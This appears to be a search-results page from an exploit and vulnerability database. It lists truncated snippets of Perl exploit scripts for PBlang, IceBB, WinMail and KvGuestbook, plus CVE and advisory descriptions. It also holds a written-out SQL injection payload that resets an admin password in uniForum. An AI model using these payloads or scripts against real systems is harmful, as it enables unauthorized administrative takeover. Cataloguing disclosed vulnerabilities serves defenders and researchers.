7287 matches found
WinMail Server 4.4 build 1124 (WebMail) Remote Add Super User Exploit
Exploit for unknown platform in category web applications ===================================================================== WinMail Server 4.4 build 1124 WebMail Remote Add Super User Exploit =====================================================================...
WinMail Server 4.4 build 1124 - 'WebMail' Remote Add Super User
tempfolder."sessions/".$this-sid.".sess"; if!fileexists$sessionfile return false; $size = filesize$sessionfile; $fp = fopen$sessionfile, "rb"; if $fp $result = fread$fp, $size; fclose$fp; $result = unserializebase64decode$result; return $result; ... This function should check for session files...
PBLang-466.txt
!/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url = "http://".$host; print q PBLANG...
PBLang-466-exec.txt
!/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access - magicquotesgpc = Off - Only work on 4.66z Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1;...
PBlang <= 4.66z Remote Create Admin Exploit
No description provided by source. !/usr/bin/perl PBlang 4.66z Create Admin Exploit this exploit register a user with admin access Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1; $passwd = $ARGV2; $url...
IceBB 1.0-rc5 - Remote Code Execution
IceBB 1.0-rc5 - Remote Code Execution !/usr/bin/perl IceBB 1.0-rc5 Remote Code Execution Exploit 1. register a user 2. run this exploit with this usage : $perl xpl.pl host&path uname pass 3. login with admin access : Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use LWP::UserAgent; use...
PBlang 4.66z Remote Code Execution Exploit
Exploit for unknown platform in category web applications ========================================== PBlang 4.66z Remote Code Execution Exploit ========================================== !/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access -...
PBlang 4.66z - Remote Code Execution
PBlang 4.66z - Remote Code Execution !/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access - magicquotesgpc = Off - Only work on 4.66z Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookie...
PBlang 4.66z - Remote Code Execution
!/usr/bin/perl PBlang 4.66z Remote Command Execution Exploit this Exploit register a user with admin access - magicquotesgpc = Off - Only work on 4.66z Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; $host = $ARGV0; $uname = $ARGV1;...
Cross site request forgery (csrf)
Unspecified vulnerability in web-app.org Web Automated Perl Portal WebAPP 0.9.9.4 to 0.9.9.6 allows remote attackers to obtain admin access by modifying cookies and performing "certain consecutive actions," possibly due to a cross-site request forgery CSRF vulnerability...
CVE-2007-1489
Unspecified vulnerability in web-app.org Web Automated Perl Portal WebAPP 0.9.9.4 to 0.9.9.6 allows remote attackers to obtain admin access by modifying cookies and performing "certain consecutive actions," possibly due to a cross-site request forgery CSRF vulnerability...
CVE-2007-1489
CVE-2007-1489 affects WebAPP (Web Automated Perl Portal) versions 0.9.9.4–0.9.9.6. The data in connected documents indicates a vulnerability allowing remote attackers to gain admin access by modifying cookies and performing a sequence of actions, with the likely root cause described as a cross-si...
CVE-2007-1489: Cross-Site Request Forgery (CSRF)
Unspecified vulnerability in web-app.org Web Automated Perl Portal WebAPP 0.9.9.4 to 0.9.9.6 allows remote attackers to obtain admin access by modifying cookies and performing "certain consecutive actions," possibly due to a cross-site request forgery CSRF vulnerability...
PT-2007-2464 · Red Hat · Jboss
Name of the Vulnerable Software and Affected Versions: JBoss affected versions not specified Description: The default configuration of JBoss does not restrict access to the console and web management interfaces, allowing remote attackers to bypass authentication and gain administrative access...
[Full-disclosure] Blind sql injection attack in INSERT syntax on PHP-nuke <=8.0 Final
Hello, it is my new advisory: Problem:Blind sql injection attack in INSERT syntax Product:PHP-nuke =8.0 Web page:http://phpnuke.org/ Credit:Maciej krasza Kukla @mail:[email protected] homepage:www.krasza.int.pl 1.Description ...PHP-Nuke 8.0 Final version. This version includes a new anti-flood...
CVE-2007-0874
Allons_voter 1.0 is affected by CVE-2007-0874. Remote attackers can bypass authentication and access certain administrative functionality by issuing direct requests to admin_ajouter.php or admin_supprimer.php. The note indicates this could be leveraged to conduct cross-site scripting (XSS) attack...
KvGuestbook Remote Add Admin Exploit
Version : 1.0 Beta Download : http://www.killervault.com Files : guestbook.php Error : function dologin global $mysql, $gbpass, $gburl; $time = time + 86400365; if$gbpass == $mysql'pass' setcookie'kvgbcookie', $mysql'pass', $time, '/'; header"Location: $gburl"; $mysql, $gbpass, $gburl Mysql & Adm...
EQdkp 1.3.1 - Referer Spoof Remote Database Backup
EQdkp 1.3.1 - Referer Spoof Remote Database Backup Title: EQdkp = 1.3.1 Referer Spoof to access to SQL Database URL: http://www.eqdkp.com Hook: "Powered by EQdkp" Author: Eight10 Contact: [email protected]...
uniforum4-sql.txt
Title : uniForum wbsearch.aspx Before, see "by User", it write ';update admin set Password='000245'-- Login Admin:http://www.xxx.com/path/wbadmlog.aspx Username: Administrator Password: 000245 /SQL """"""""""""""""""""" ajann,Turkey ... Im not Hacker!...
Acidfree - SQL injection
Under certain circumstances, node titles are not escaped before being used in an SQL query, allowing a malicious user with the 'create acidfree albums' privilege and the ability to create acidfree content, to execute an SQL injection attack. These attacks may lead to administrator access. Version...